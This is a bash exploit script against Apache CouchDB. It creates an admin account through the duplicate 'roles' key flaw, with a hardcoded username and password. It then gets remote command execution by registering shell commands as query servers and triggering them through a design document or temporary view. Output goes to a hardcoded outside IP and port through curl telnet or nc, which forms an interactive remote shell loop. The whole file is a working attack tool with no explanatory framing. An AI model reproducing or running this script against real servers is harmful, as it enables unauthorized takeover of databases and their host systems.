#!/bin/bash

if [ $# -ne 1 ]; then
    echo "$0 <SERVER_URL>"
    exit 1
fi

NETCAT_LISTEN="198.27.66.144"
NETCAT_PORT="3422"
USER="couchdb"
PASS="iy6685i"

RANDB="god4"
RANDOC="ok"

CMD="|timeout 2 curl telnet://$NETCAT_LISTEN:$NETCAT_PORT"
#CMD="|nc $NETCAT_LISTEN $NETCAT_PORT"



V=$(curl -s $1 | jq -r '.version')
echo Version: $V
VERSION=$(echo $V |sed 's/\.//g')

curl -X PUT $1/_users/org.couchdb.user:$USER -d '{"type": "user","name": "'$USER'","roles": ["_admin"],"roles": [],"password": "'$PASS'"}' --insecure

if [ "$VERSION" -gt "171" ]
        then
        curl -s -L $1/_membership --user $USER:$PASS --insecure | jq -r '.all_nodes[0]'
        node=$(curl -s -L $1/_membership --user $USER:$PASS --insecure | jq -r '.all_nodes[0]')
        if [ ! "$node" == "" ]
                then
                echo NODE: $node
        fi
elif [ "$VERSION" -gt "210" ]
        then
        echo Version not vuln
        exit
fi


#curl -X PUT $1/_node/$node/_config/admins/$USER -d '"'$ADMINPASS'"' --user $USER:$PASS --insecure # create second admin
curl -s -L -X PUT $1/$RANDB --user $USER:$PASS --insecure | jq -r '.reason'
if [ "$VERSION" -lt "171" ]
        then
        curl -s -L -X PUT $1/$RANDB/$RANDOC -d '{"_id":"967a00dff5e02add41819138abb3284d"}' --user $USER:$PASS --insecure | jq -r '.reason'
fi
while true; do
        echo -n "couchdb-shell@$1> "
        read INPUT
        if [ "$INPUT" == "clear" ]
                then
                printf "\033c"
        elif [ "$INPUT" == "exit" ]
                then
                exit
        else
                random=up$(( $RANDOM % 10000 + 40000 ));
                if [ "$VERSION" -gt "171" ]
                        then
                        echo $INPUT $CMD | xargs -I % curl -s -o /dev/null -X PUT $1/_node/$node/_config/query_servers/$random -d '"%"' --user $USER:$PASS --insecure
                        curl -s -o /dev/null -X PUT $1/$RANDB/_design/zero -d '{"_id": "_design/zero", "views": {"'$RANDB'": {"map": ""} }, "language": "'$random'"}' --user $USER:$PASS --insecure | timeout 2 nc -l $NETCAT_PORT
                        curl -s -o /dev/null -X DELETE $1/_node/$node/_config/query_servers/$random --user $USER:$PASS --insecure
                elif [ "$VERSION" -lt "211" ]
                        then
                        echo $INPUT $CMD | xargs -I % curl -s -o /dev/null -X PUT $1/_config/query_servers/$random -d '"%"' --user $USER:$PASS --insecure
                        curl -s -o /dev/null -X POST $1/$RANDB/_temp_view?limit=11 -d '{"language":"'$random'","map":""}' --user $USER:$PASS --insecure -H "Content-Type: application/json"  | timeout 2 nc -l $NETCAT_PORT
                        curl -s -o /dev/null -X DELETE $1/_config/query_servers/$random --user $USER:$PASS --insecure
                fi
        fi
done